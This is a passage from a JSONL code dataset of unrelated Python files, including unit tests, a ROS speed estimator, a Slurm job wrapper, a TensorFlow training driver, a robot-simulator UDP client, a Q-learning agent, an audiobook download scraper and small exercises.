merchant=merchant_name)\n if self._get_attribute_element(locator_merchant, 'class') == 'violation-cell':\n locator = locator_merchant + '/parent::div/parent::div'\n else:\n locator = locator_merchant + '/parent::div'\n row_index = self._get_attribute_element(locator, 'data-row')\n return row_index\n \n def click_on_column_by_expense_name(self, expense_name, field):\n row_index = self.get_index_by_merchant_name(expense_name)\n column = self._field_to_column(field)\n link_paid = self.gridview.gridviewrow.resolve_selector(\"cell\", rowIndex=row_index, cellClass=column)\n return self.click_element(link_paid)","sub_path":"expense-ui-robot-tests/PythonExpenseAutomationTest/python/component/pagepart/grid/ReportExpenseGridComponent.py","file_name":"ReportExpenseGridComponent.py","file_ext":"py","file_size_in_byte":24479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"414275074","text":"from . import ProgressiveTest\n\nfrom progressivis import Print, Every\nfrom progressivis.table.last_row import LastRow\nfrom progressivis.table.constant import Constant\nfrom progressivis.stats import Stats\nfrom progressivis.io import CSVLoader\nfrom progressivis.datasets import get_dataset\nfrom progressivis.table.table import Table\nfrom progressivis.table.join import Join\nfrom progressivis.core.utils import get_random_name\nimport pandas as pd\n\ndef print_len(x):\n if x is not None:\n print(len(x))\n\n\nclass TestLastRow(ProgressiveTest):\n def test_last_row(self):\n s = self.scheduler()\n csv = CSVLoader(get_dataset('smallfile'), index_col=False,header=None,scheduler=s)\n lr1 = LastRow(scheduler=s)\n lr1.input.table = csv.output.table\n prlen = Every(proc=self.terse, constant_time=True, scheduler=s)\n prlen.input.df = lr1.output.table\n s.start()\n s.join()\n df = csv.table()\n last = df.last()\n res = lr1.table()\n self.assertEqual(res.at[0,'_1'], last['_1'])\n\n #print(res)\n def test_last_row_simple(self):\n s = self.scheduler()\n t1 = Table(name=get_random_name(\"cst1\"), data={'xmin': [1], 'xmax': [2]})\n t2 = Table(name=get_random_name(\"cst2\"),data={'ymin': [3], 'ymax': [4]})\n cst1=Constant(t1, scheduler=s)\n cst2=Constant(t2, scheduler=s)\n join=Join(scheduler=s)\n join.input.table = cst1.output.table\n join.input.table = cst2.output.table\n pr=Print(proc=self.terse, scheduler=s)\n pr.input.df = join.output.table\n s.start()\n s.join()\n #res = join.trace_stats(max_runs=1)\n #pd.set_option('display.expand_frame_repr', False)\n #print(res)\n df = join.table()\n last = df.last()\n self.assertTrue(last['xmin']==1 and last['xmax']==2 and \\\n last['ymin']==3 and last['ymax']==4)\n\n\nif __name__ == '__main__':\n ProgressiveTest.main()\n","sub_path":"tests/test_03_last_row.py","file_name":"test_03_last_row.py","file_ext":"py","file_size_in_byte":1976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"531889735","text":"from distance import find_position_distance\n\n\nclass SpeedEstimator(object):\n \"\"\"\n We should be able to get the current speed estimate directly from the\n `/current_velocity` topic. However, it's missing from some of the rosbags\n we need for testing, so estimate it from position if it is missing.\n\n Note: the estimator assumes the car is moving forward. Also, the\n estimates from position in the simulator are terrible due to apparent\n jitter in the message timestamps. Fortunately, it is not needed in the\n simulator.\n \"\"\"\n def __init__(self, smooth=0.02):\n self.smooth = smooth\n\n self.measuring_directly = False\n self.speed = None\n self.position = None\n self.last_time = None\n\n def is_waiting(self):\n return self.speed is None\n\n def update_pose(self, msg):\n if self.measuring_directly:\n return\n\n position = msg.pose.position\n time = msg.header.stamp.to_sec()\n if self.position is None or self.last_time is None:\n self.position = position\n self.last_time = time\n return\n\n ds = find_position_distance(position, self.position)\n self.position = position\n\n dt = time - self.last_time\n self.last_time = time\n\n if dt <= 0:\n return\n\n speed = ds / dt\n if self.speed is None:\n self.speed = speed\n else:\n self.speed = self.smooth * speed + (1.0 - self.smooth) * self.speed\n\n def update_speed(self, speed):\n if not self.measuring_directly:\n self.measuring_directly = True\n self.speed = speed\n","sub_path":"ros/src/waypoint_updater/speed_estimator.py","file_name":"speed_estimator.py","file_ext":"py","file_size_in_byte":1648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"368303116","text":"from __future__ import print_function\nimport subprocess\nimport sys\nimport os\nimport utils\n\n\nutils.makedir(\"log\")\n\n\nTMPL_long = \"\"\"\\\n#!/bin/bash\n\n#SBATCH -J {name}\n#SBATCH -p cn-long\n#SBATCH -N 1\n#SBATCH -o log/{name}.%j.out\n#SBATCH -e log/{name}.%j.err\n#SBATCH --no-requeue\n#SBATCH -A cnl\n{header}\nset -eo pipefail -o nounset\ncd {workdir}\n\n__script__\"\"\"\n\n\nTMPL_short = \"\"\"\\\n#!/bin/bash\n\n#SBATCH -J {name}\n#SBATCH -p cn-medium\n#SBATCH -N 1\n#SBATCH -o log/{name}.%j.out\n#SBATCH -e log/{name}.%j.err\n#SBATCH --no-requeue\n#SBATCH -A cnm\n{header}\nset -eo pipefail -o nounset\ncd {workdir}\n\n__script__\"\"\"\n\n\nclass Slurm(object):\n def __init__(self, name, slurm_kwargs=None, tmpl=None,\n scripts_dir=\"jobs\", workdir=os.getcwd()):\n if slurm_kwargs is None:\n slurm_kwargs = {}\n if tmpl is None:\n tmpl = TMPL_short\n else:\n tmpl = TMPL_long\n\n header = []\n for k, v in slurm_kwargs.items():\n if len(k) > 1:\n k = \"--\" + k + \"=\"\n else:\n k = \"-\" + k + \" \"\n header.append(\"#SBATCH %s%s\" % (k, v))\n self.header = \"\\n\".join(header)\n self.name = name\n self.tmpl = tmpl\n self.slurm_kwargs = slurm_kwargs\n utils.makedir(\"jobs\")\n self.scripts_dir = os.path.abspath(scripts_dir)\n self.workdir = os.getcwd()\n\n def __str__(self):\n return self.tmpl.format(name=self.name, header=self.header,\n workdir=self.workdir)\n\n def _tmpfile(self):\n return '{}/{}.job'.format(self.scripts_dir, self.name)\n\n def run(self, command, cmd_kwargs=None, _cmd=\"sbatch\", depends_on=None):\n\n if cmd_kwargs is None:\n cmd_kwargs = {}\n\n args = []\n for k, v in cmd_kwargs.items():\n args.append(\"export %s=%s\" % (k, v))\n args = \"\\n\".join(args)\n\n tmpl = str(self).replace(\"__script__\", args + \"\\n###\\n\" + command +\n \"\\n\")\n if depends_on is None or (len(depends_on) == 1 and depends_on[0] is None):\n depends_on = []\n\n with open(self._tmpfile(), \"w\") as sh:\n sh.write(tmpl)\n\n # job_id = None\n args = [_cmd]\n args.extend([(\"--dependency=afterok:%d\" % int(d)) for d in depends_on])\n args.append(sh.name)\n res = subprocess.check_output(args).strip()\n print(res, file=sys.stderr)\n if not res.startswith(b\"Submitted batch\"):\n return None\n job_id = int(res.split()[-1])\n return job_id\n","sub_path":"WY_UMI_pipeline_new_V2/generate_slurm.py","file_name":"generate_slurm.py","file_ext":"py","file_size_in_byte":2572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"407144392","text":"import matplotlib.pyplot as plt\r\nimport tensorflow as tf\r\nimport numpy as np\r\n\r\nclass Driver:\r\n def __init__(self, mdl):\r\n \"\"\"\r\n Args:\r\n mdl (instance): CNNネットワークのインスタンス\r\n optimizer (func): オプティマイザ関数\r\n paramsPath (str): パラメータファイルのパス\r\n \"\"\"\r\n self.saver = None\r\n self.t = None\r\n self.train_step = None\r\n self.accuracy = None\r\n self.loss = None\r\n\r\n #モデルを定義\r\n self.mdl = mdl\r\n\r\n #セッションの初期化\r\n self.sess = tf.Session()\r\n self.sess.run(tf.global_variables_initializer())\r\n self.saver = tf.train.Saver()\r\n self.summary_writer = tf.summary.FileWriter(self.mdl.logPath , self.sess.graph)\r\n\r\n\r\n def fit(self, x_train, t_train, numStep, numEpoch, batchSize, resultDir=None):\r\n \"\"\"\r\n 学習を行う。\r\n\r\n Args:\r\n x_train (numpy) : 学習画像のリスト([batchSize, x, y, d])\r\n t_train (numpy) : 正解クラスのリスト([batchSize, numClass])\r\n numStep (int) : ステップ数\r\n numEpoch (int) : エポック数\r\n batchSize (int) : バッチサイズ\r\n resultDir (str) : 学習モデルファイルの保存ディレクトリ\r\n \"\"\"\r\n\r\n #学習ループ\r\n for i in range(numEpoch):\r\n for j in range(numStep):\r\n batch_x, batch_t = getNextBatch(x_train, t_train, batchSize)\r\n\r\n #学習\r\n self.sess.run(self.mdl.train_step, feed_dict={self.mdl.x:batch_x, self.mdl.t:batch_t})\r\n\r\n if (j+1) % 20 == 0:\r\n acc, loss, _ = self.sess.run([self.mdl.accuracy, self.mdl.loss, self.mdl.p],\r\n feed_dict={self.mdl.x:batch_x, self.mdl.t:batch_t})\r\n print ('Step: %d, Loss: %.2f, Accuracy: %.3f' % (j+1, loss, acc))\r\n\r\n\r\n if resultDir != None:\r\n self.saver.save(self.sess, resultDir, global_step=i+1)\r\n\r\n self.summary_writer.close()\r\n\r\n\r\n def predict(self, x_test, t_test, batchSize):\r\n \"\"\"\r\n テストを走らせる\r\n\r\n Args:\r\n x_test (numpy) : テスト画像のリスト([batchSize, x, y, d])\r\n t_test (numpy) : 正解クラスのリスト([batchSize, numClass])\r\n batchSize (int) : バッチサイズ\r\n \"\"\"\r\n\r\n\r\n batch_x, batch_t = getNextBatch(x_test, t_test, batchSize)\r\n\r\n p = self.sess.run(self.mdl.p, feed_dict={self.mdl.x:batch_x, self.mdl.t:batch_t})\r\n\r\n self.result = np.argmax(p, axis=-1)\r\n self.result_label = np.argmax(batch_t, axis=-1)\r\n self.x = batch_x\r\n self.t = batch_t\r\n\r\n def restore(self, path):\r\n \"\"\"\r\n 学習モデルファイルを読み込み、sessionをrestoreする。\r\n\r\n Args:\r\n path (str) : 学習モデルファイルのパス\r\n \"\"\"\r\n self.saver.restore(self.sess, path)\r\n\r\n\r\n def showGraph(self, shape, figSize=None):\r\n \"\"\"\r\n テスト結果の画像を表示する。\r\n\r\n Args:\r\n shape (list of int) : グラフのサブプロットの行列数 [y, x]\r\n figSize (list of int) : グラフのサイズ [h, w]\r\n Returns:\r\n self.fig (figure) : グラフのfigureハンドル\r\n Notes:\r\n 先にpredict()を実行していないとエラーになる\r\n \"\"\"\r\n self.fig = plt.figure()\r\n if figSize != None:\r\n self.fig.set_figheight(figSize[0])\r\n self.fig.set_figwidth(figSize[1])\r\n\r\n for i in range(len(self.x)):\r\n subplot = self.fig.add_subplot(shape[0], shape[1], i+1)\r\n subplot.imshow(self.x[i,:])\r\n subplot.set_title('Est:{}, GT:{}'.format(self.result[i], int(self.result_label[i])))\r\n\r\n self.fig.tight_layout()\r\n self.fig.show()\r\n\r\n return self.fig\r\n\r\n\r\n def saveGraph(self, graphPath):\r\n \"\"\"\r\n showGraph()で作成したグラフをファイルに保存する。\r\n\r\n Args:\r\n graphPath (str) : グラフを保存するパス\r\n Notes:\r\n 先にshowGraph()を実行すること。\r\n \"\"\"\r\n self.fig.savefig(graphPath, bbox_inches='tight')\r\n\r\n def showSemSeg(self, shape, figSize=None):\r\n \"\"\"\r\n 領域認識結果を画像出力する。\r\n\r\n Args:\r\n shape (list of int) : subplotの行数と列数 [h, w]\r\n figSize (list of int): figureのサイズ [h,w]\r\n \"\"\"\r\n self.fig = plt.figure()\r\n if figSize != None:\r\n self.fig.set_figheight(figSize[0])\r\n self.fig.set_figwidth(figSize[1])\r\n\r\n for i in range(len(self.x)):\r\n subplot = self.fig.add_subplot(2*shape[0], shape[1], 3*i+1)\r\n showSubImage(subplot, self.x[i,:,:])\r\n subplot = self.fig.add_subplot(2*shape[0], shape[1], 3*i+2)\r\n showSubImage(subplot, np.argmax(self.t[i,:,:,:], axis=-1))\r\n subplot = self.fig.add_subplot(2*shape[0], shape[1], 3*i+3)\r\n showSubImage(subplot, self.result[i,:,:])\r\n\r\n\r\ndef showSubImage(subplot, img):\r\n \"\"\"\r\n サブプロットに画像表示し、ラベルを消す。\r\n\r\n Args:\r\n subplot (subplot): サブプロットクラスのインスタンスのハンドル\r\n img (ndarray): 表示する画像\r\n \"\"\"\r\n\r\n\r\n subplot.imshow(img)\r\n subplot.tick_params(labelbottom='off', labelleft='off')\r\n subplot.set_xticklabels([])\r\n subplot.set_yticklabels([])\r\n\r\n\r\n\r\ndef getNextBatch(x, t, batchSize):\r\n \"\"\"\r\n 画像リストと正解クラスリストからランダムに選択してバッチを作る\r\n\r\n Args:\r\n x (numpy) : 画像リスト([batchSize, x, y, d])\r\n t (numpy) : 正解クラスのリスト([batchSize, numClass])\r\n batchSize (int) : バッチサイズ\r\n Returns:\r\n x[ind, :] (numpy) : 画像バッチ\r\n t[ind, :] (numpy) : 正解クラスバッチ\r\n \"\"\"\r\n ind = np.random.choice(len(x), batchSize, replace=False)\r\n return x[ind, :], t[ind, :]\r\n","sub_path":"tfDriver.py","file_name":"tfDriver.py","file_ext":"py","file_size_in_byte":6260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"97263812","text":"#!/usr/bin/python3.6\n# -*- coding: utf-8 -*-\n\n# Manual parsing and loading\n\nimport numpy as np\n\nCSV = \"../linear_regression_class/data_2d.csv\"\n\nX = []\n\nfor line in open(CSV):\n row = line.split(',')\n sample = map(float, row)\n X.append(list(sample))\n\nX = np.array(X)\n\nprint(X)\nprint(np.shape(X))\nprint(type(X))","sub_path":"pandas_csv/convert_csv.py","file_name":"convert_csv.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"77139002","text":"#!/usr/bin/python\nfrom bs4 import BeautifulSoup\nimport urllib\nimport urllib2\n\ndest = '/run/media/azygadlo/9763da42-1ad7-4186-b112-925c6a86768f/mgr/data'\nstartpage = urllib2.urlopen('http://wolnelektury.pl/katalog/audiobooki')\nstartpage_content = startpage.read()\nsoup = BeautifulSoup(startpage_content)\n\naudiobook_list = soup.find('div', class_='plain-list')\n\nlist_file = open(dest + '/list.csv', 'a')\nlist_file.write('ID\\tAutor\\tTytul\\tLektor\\tEpoka\\tRodzaj\\tGatunek\\n')\n\nfor div in audiobook_list:\n for link in div.find_all('a'):\n new_url = link.get('href')\n newpage = urllib2.urlopen('http://wolnelektury.pl' + new_url)\n newpage_content = newpage.read()\n soup2 = BeautifulSoup(newpage_content)\n author = soup2.find('span', class_='author').get_text()\n title = soup2.find('div', class_='title').get_text()\n artist = soup2.find('span', class_='artist').get_text()\n kategorie = soup2.find_all('span', class_='book-box-tag')\n kat_list = []\n for spans in kategorie:\n kat = spans.find('a').get_text()\n kat_list.append(kat)\n epoka = kat_list[0]\n rodzaj = kat_list[1]\n gatunek = kat_list[2]\n #print(epoka + ' ' + rodzaj + ' ' + gatunek)\n\n #print(new_url + ' ' + author + ' ' + title + ' ' + artist)\n basename = new_url.split('/')[-2]\n #print(basename)\n txt_url = 'http://wolnelektury.pl/media/book/txt/' + basename + '.txt'\n urllib.urlretrieve(txt_url, dest + '/' + basename + '.txt')\n mp3_url = 'http://wolnelektury.pl/katalog/zip/mp3/' + basename + '.zip'\n urllib.urlretrieve(mp3_url, dest + '/' + basename + '.zip')\n s = basename + \"\\t\" + author + \"\\t\" + title + \"\\t\" + artist + \"\\t\" + epoka + \"\\t\" + rodzaj + \"\\t\" + gatunek + \"\\n\"\n list_file.write(s.encode(\"UTF-8\"))\n\nlist_file.close()\n","sub_path":"mgr_data_downloader.py","file_name":"mgr_data_downloader.py","file_ext":"py","file_size_in_byte":1871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"279995841","text":"#Given a string, find the shortest possible string which can be achieved by adding characters to the end of initial string to make it a palindrome.\n\n#Example\n\n#For st = \"abcdc\", the output should be\n#buildPalindrome(st) = \"abcdcba\".\n\ndef buildPalindrome(st):\n\n\tlista = list(st)\n\tlong = len(lista)\n\tprint(lista)\n\t#for i in range(long-1,-1,-1):\n\t\t# From long-1 to 0\n\t\t#lista.append(lista[i])\n\t\t#Append the last elements to the end\n\t\t#Sth like a mirror effect\n\n\t#New length is 2*long\n\t#Now run the algorithm from the beginning\n\n\tcurrentInd = long -1\n\t\n\tfor i in range (long):\n\t\t#print ('Indice a comparar: ',currentInd,' con letra: ',lista[currentInd])\n\t\t#print('Tomamos el indice ',i,' con letra:',lista[i])\n\t\tif i >= currentInd:\n\t\t\t#print('Salimos porque se termino el string')\n\t\t\tbreak\n\t\tif lista[i] != lista[currentInd]:\n\t\t\t#print(\"Son distintas.Agregamos la letra al final\")\n\n\t\t\t#The element is not in the correct position\n\t\t\t#Add element to make a mirrored effect\n\t\t\tlista.insert(long,lista[i])\n\t\t\t#print(lista)\n\t\telse:\n\t\t\tcurrentInd -= 1\n\t\t\t#print('Son iguales. Indice a comparar cambiado!')\n\n\t#We get to the end and there was no match\n\t#The string had no repeted elements\n\treturn ''.join(lista)\n","sub_path":"buildPalindrome.py","file_name":"buildPalindrome.py","file_ext":"py","file_size_in_byte":1200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"345031040","text":"# Task: extract phone number from a string,\n# make sure it's a separately written number, not buried between random symbols\n\nimport re\n\n\ndef extract_phone(input):\n phone_regex = re.compile(r'\\b\\d{3} \\d{3}-\\d{4}\\b')\n match = phone_regex.search(input)\n if match:\n return match.group()\n return None\n\n\nprint(extract_phone(\"call me at 469 531-9227\")) # '469 531-9227'\nprint(extract_phone(\"call me at 414 754-032455gfd\")) # None\n","sub_path":"phone_number_validation.py","file_name":"phone_number_validation.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"511159952","text":"\nimport socket\n\nUDP_IP = \"127.0.0.1\"\nUDP_PORT = 6000\n\nNUM_IR_SENSORS = 4\n\nclass CRobLink:\n\n\n def __init__ (self, robName, robId, host):\n self.robName = robName\n self.robId = robId\n self.host = host\n\n self.sock = socket.socket(socket.AF_INET, # Internet\n socket.SOCK_DGRAM) # UDP\n \n msg = ''\n \n self.sock.sendto(msg.encode(), (host, UDP_PORT)) # TODO consider host arg\n data, (host,self.port) = self.sock.recvfrom(1024)\n #print \"received message:\", data, \" port \", self.port\n\n parser = sax.make_parser()\n \n # Tell it what handler to use\n handler = StructureHandler()\n parser.setContentHandler( handler )\n \n # Parse reply \n\n d2 = data[:-1]\n# try:\n sax.parseString( d2, handler )\n# except SAXParseException:\n# self.status = -1\n# return \n self.status = handler.status\n if self.status==0:\n self.nBeacons = handler.nBeacons\n self.simTime = handler.simTime\n #print \"nBeacons\", self.nBeacons\n\n def readSensors(self):\n data, (host,port) = self.sock.recvfrom(4096)\n d2 = data[:-1]\n\n #print \"RECV : \\\"\" + d2 +'\"'\n parser = sax.make_parser()\n # Tell it what handler to use\n handler = StructureHandler()\n parser.setContentHandler( handler )\n\n# try:\n sax.parseString( d2, handler )\n# except SAXParseException:\n# status = -1\n# return \n self.status = handler.status\n self.measures = handler.measures\n \n def driveMotors(self, lPow, rPow):\n msg = ''\n self.sock.sendto(msg.encode(),(self.host,self.port))\n\n def setReturningLed(self,val):\n msg = ''\n self.sock.sendto(msg.encode(),(self.host,self.port))\n\n def setVisitingLed(self,val):\n msg = ''\n self.sock.sendto(msg.encode(),(self.host,self.port))\n\n def finish(self):\n msg = ''\n self.sock.sendto(msg.encode(),(self.host,self.port))\n\n #my_status = lambda self : self.status\n\n\nclass CRobLinkAngs(CRobLink):\n\n\n def __init__ (self, robName, robId, angs, host):\n self.robName = robName\n self.robId = robId\n self.host = host\n self.angs = angs\n\n\n self.sock = socket.socket(socket.AF_INET, # Internet\n socket.SOCK_DGRAM) # UDP\n \n msg = ''\n for ir in range(NUM_IR_SENSORS):\n msg+=''\n msg+=''\n\n #print \"msg \", msg\n \n self.sock.sendto(msg.encode(), (host, UDP_PORT)) # TODO condider host arg\n data, (host,self.port) = self.sock.recvfrom(1024)\n #print \"received message:\", data, \" port \", self.port\n\n parser = sax.make_parser()\n \n # Tell it what handler to use\n handler = StructureHandler()\n parser.setContentHandler( handler )\n \n # Parse reply \n\n d2 = data[:-1]\n# try:\n sax.parseString( d2, handler )\n# except SAXParseException:\n# self.status = -1\n# return \n self.status = handler.status\n if self.status==0:\n self.nBeacons = handler.nBeacons\n self.simTime = handler.simTime\n #print \"nBeacons\", self.nBeacons\n\nclass CMeasures:\n\n def __init__ (self):\n self.compassReady=False\n self.compass=0.0; \n self.irSensorReady=[False for i in range(NUM_IR_SENSORS)]\n self.irSensor=[0.0 for i in range(NUM_IR_SENSORS)]\n self.beaconReady = False # TODO consider more than one beacon\n self.beacon = (False, 0.0)\n self.time = 0\n\n self.groundReady = False\n self.ground = -1\n self.collisionReady = False\n self.collision = False \n self.start = False \n self.stop = False \n self.endLed = False\n self.returningLed = False\n self.visitingLed = False\n self.x = 0.0 \n self.y = 0.0 \n self.dir = 0.0\n\n self.scoreReady = False\n self.score = 100000\n self.arrivalTimeReady = False\n self.arrivalTime = 10000\n self.returningTimeReady = False\n self.returningTime = 10000\n self.collisionsReady = False\n self.collisions = 0\n self.gpsReady = False\n self.gpsDirReady = False\n\n\n self.hearMessage=''\n\n\n\nfrom xml import sax\n\nclass StructureHandler(sax.ContentHandler):\n\n def __init__ (self):\n self.status = 0\n self.measures = CMeasures()\n\n def startElement(self, name, attrs):\n if name == \"Reply\":\n if \"Status\" not in attrs.keys():\n self.status = -1\n return\n \n if attrs[\"Status\"]==\"Ok\":\n self.status = 0\n return\n self.status = -1\n elif name == \"Parameters\":\n self.nBeacons = attrs[\"NBeacons\"]\n self.simTime = attrs[\"SimTime\"]\n elif name==\"Measures\":\n self.measures.time = int(attrs[\"Time\"])\n elif name==\"Sensors\":\n self.measures.compassReady = (\"Compass\" in attrs.keys())\n if self.measures.compassReady:\n self.measures.compass = float(attrs[\"Compass\"])\n\n self.measures.collisionReady = (\"Collision\" in attrs.keys())\n if self.measures.collisionReady:\n self.measures.collision = (attrs[\"Collision\"] == \"Yes\")\n\n self.measures.groundReady = (\"Ground\" in attrs.keys())\n if self.measures.groundReady:\n self.measures.ground = int(attrs[\"Ground\"])\n\n elif name == \"IRSensor\":\n id = int(attrs[\"Id\"])\n #print \"IRSensor id \", id\n if id < NUM_IR_SENSORS: \n self.measures.irSensorReady[id] = True\n #print \"IRSensor val \", attrs[\"Value\"]\n self.measures.irSensor[id] = float(attrs[\"Value\"])\n else: \n self.status = -1\n elif name == \"BeaconSensor\":\n id = attrs[\"Id\"]\n #if id 1:\n best = [i for i in range(len(self.actions)) if q[i] == maxQ]\n i = random.choice(best)\n else:\n i = q.index(maxQ)\n\n action = self.actions[i]\n\n action_obj = Action()\n action_obj.intArray = [action]\n self.last_action = copy.deepcopy(action)\n self.last_state = copy.deepcopy(state)\n return action_obj\n\n def learn(self, state1, action1, reward, state2):\n if isinstance(state1, list):\n state1 = tuple(state1)\n if isinstance(state2, list):\n state2 = tuple(state2)\n maxqnew = max([self.getQ(state2, a) for a in self.actions])\n self.learnQ(state1, action1, reward + self.gamma * maxqnew)\n","sub_path":"pyrl/agents/qlearn.py","file_name":"qlearn.py","file_ext":"py","file_size_in_byte":2927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"296309069","text":"from zope.schema.vocabulary import SimpleTerm, SimpleVocabulary\nfrom zope.schema.interfaces import IVocabularyFactory\nfrom zope.interface import implements\nfrom my315ok.portlet.rollitems import RollPortletMessageFactory as _\nfrom collective.portlet.pixviewer import PixviewerPortletMessageFactory as _a\n\nroll_dire_unit=[\n('up','up direction',_(u'roll up')),\n('down','down direction',_(u'roll down')),\n('left','left direction',_(u'roll left')),\n('right','right direction',_(u'roll right')),\n ]\nroll_dire_terms = [\n SimpleTerm(value, token, title) for value, token, title in roll_dire_unit\n]\n\n\nclass RollDirectionVocabulary(object):\n \n \"\"\" Ad Unit sizes \"\"\"\n\n implements(IVocabularyFactory)\n\n def __call__(self, context):\n return SimpleVocabulary(roll_dire_terms)\n\n\nRollDirectionVocabularyFactory = RollDirectionVocabulary()\n\nimage_size=[\n('thumb','thumb image',_a(u'thumb image')),\n('mini','mini image',_a(u'mini image')),\n('preview','preview image',_a(u'preview image')),\n('large','large image',_a(u'large image')),\n ]\nimage_size_terms = [\n SimpleTerm(value, token, title) for value, token, title in image_size\n]\n\n\nclass ImageSizeVocabulary(object):\n \"\"\" Ad Unit sizes \"\"\"\n\n implements(IVocabularyFactory)\n\n def __call__(self, context):\n return SimpleVocabulary(image_size_terms)\n\n\nImageSizeVocabularyFactory = ImageSizeVocabulary()\n","sub_path":"my315ok/portlet/rollitems/vocabularies.py","file_name":"vocabularies.py","file_ext":"py","file_size_in_byte":1376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"142942173","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Jul 26 04:43:48 2017\r\n\r\n@author: wjchoi\r\n\"\"\"\r\n\r\n# Test : file dialog, File Open 및 Save시 사용\r\n\r\nfrom tkinter import *\r\nfrom tkinter.filedialog import *\r\n\r\nwindow = Tk()\r\nwindow.geometry(\"400x100\")\r\n\r\nlabel1 = Label(window, text=\"선택된 파일 이름\")\r\nlabel1.pack()\r\n\r\nfileName = askopenfilename(parent=window, filetype=((\"GIF 파일\", \"*.gif\"), (\"모든 파일\", \"*.*\")))\r\n\r\nlabel1.configure(text=str(fileName))\r\n\r\nwindow.mainloop()\r\n\r\n\r\n'''\r\nfileName = askopenfilename(parent=window, filetype=((\"GIF 파일\", \"*.gif\"), (\"모든 파일\", \"*.*\")))\r\n\r\nlabel1.configure(text=str(fileName))\r\n\r\n을 다음과 같이 변경하면 파일을 바꾸게 됨.\r\n\r\n파일을 바꾸면 기존 파일은 0 byte의 파일로 변경되므로 중요한 파일은 테스트 하지 말 것.\r\n\r\nsaveFp = asksaveasfile(parent=window, mode=\"w\", defaultextension = \".jpg\", filetypes=((\"JPG 파일\", \"*.jpg;*.jpeg\"), \r\n(\"모든 파일\", \"*.*\")))\r\n\r\nlabel1.configure(text=saveFp)\r\nsaveFp.close()\r\n'''\r\n","sub_path":"swEduPython/Test_Dialog_FileDialog.py","file_name":"Test_Dialog_FileDialog.py","file_ext":"py","file_size_in_byte":1032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"639072408","text":"import scapy.all\nimport sys\n\ndef getmac(ip):\n\n #ip=\"192.168.20.107\"\n mac = scapy.all.getmacbyip(ip)\n\n #Delete \":\" from mac address by function replace\n up = mac.upper()\n up2 = up.replace(\":\", \"\")\n\n print(\"\\tDestination device have IP:\")\n print('\\t<<<', up2, '>>>')\n\n return up2\n","sub_path":"get_mac.py","file_name":"get_mac.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"290381092","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n#SIE SOLLEN DIESE DATEI IMPORTIEREN, öffnen zum Durchlesen schadet aber nicht.\n\nimport numpy as np\nfrom bruchpy import Bruch\n\ndef TestLR_Bruch(testfunktion):\n m = 10\n print('Ihre Funktion wird jetzt mit 3 ({0}x{0})-Matrizen getestet'.format(m));\n A = _zufallsmatINT(m)\n B = _zufallsmatBRUCH(m)\n C1 = _zufallsmatINT(m)\n C = _zufallsmatBRUCH(m)\n for i in range(m):\n for j in range(m):\n zufallsindex = np.random.randint(0,2)\n if zufallsindex == 0:\n C[i, j] = C1[i, j]\n texte = ['Matrix mit Integer-Einträgen',\\\n 'Matrix mit Bruch-Einträgen',\\\n 'Matrix mit gemischten Einträgen']\n tb = 0\n for M, text in zip([A, B, C], texte):\n print('Teste ' + text + ':')\n p, MLR = testfunktion(M)\n R = np.triu(MLR)\n L = np.eye(MLR.shape[0], dtype=int) + np.tril(MLR, -1)\n erg = np.equal(M[p,:],np.dot(L,R)).all()\n print(\"Das Ergebnis ist {0}.\".format(erg));\n if erg:\n tb += 1;\n \n print('{0} von {1} Tests erfolgreich'.format(tb, 3));\n\ndef _zufallsmatINT(m, Null = True):\n mat = np.random.randint(-20,20, m**2)\n if Null == False:\n mat[mat == 0] += 1\n return mat.reshape(m,m)\n\ndef _zufallsmatBRUCH(m):\n ZufINT1 = _zufallsmatINT(m)\n ZufINT2 = _zufallsmatINT(m, Null = False)\n MatBRUCH = np.zeros((m,m), dtype=Bruch)\n for i in range(m):\n for j in range(m):\n MatBRUCH[i,j] = Bruch(int(ZufINT1[i,j]), int(ZufINT2[i,j]))\n return MatBRUCH\n\n\ndef QbTest(testfunktion):\n m, n = 20, 15\n print('Ihre Funktion wird jetzt mit einer ({0}x{0})- '.format(m)\\\n +'und einer ({0}x{1})-Matrix getestet'.format(m, n));\n t = 0\n for mm, nn in zip([m, m], [m, n]): \n Vtest = np.tril(np.random.rand(mm, nn))\n Vtest = Vtest/np.linalg.norm(Vtest, axis=0)\n btest = np.random.rand(mm,1)\n Qb1 = testfunktion(Vtest, btest)\n Qb2 = _Qblang(Vtest, btest)\n if np.allclose(Qb1, Qb2):\n t += 1\n print('{0} von {1} Tests erfolgreich'.format(t, 2));\n \ndef _Qblang(V, b):\n m, n = V.shape\n Q = np.eye(m)\n for k in range(n):\n v = V[k:, [k]]\n Qk = np.eye(m)\n Qk[k:, k:] = np.eye(m-k) - 2*(v @ v.T)\n Q = Q @ Qk\n return Q@b","sub_path":"hhu/blaetter/ana12.1.tester.py","file_name":"ana12.1.tester.py","file_ext":"py","file_size_in_byte":2352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"638652661","text":"import os.path\r\nimport matplotlib.pyplot as plt\r\nimport sys\r\n\r\ntrain_list = []\r\ntest_list = []\r\ntrain_list_ac = 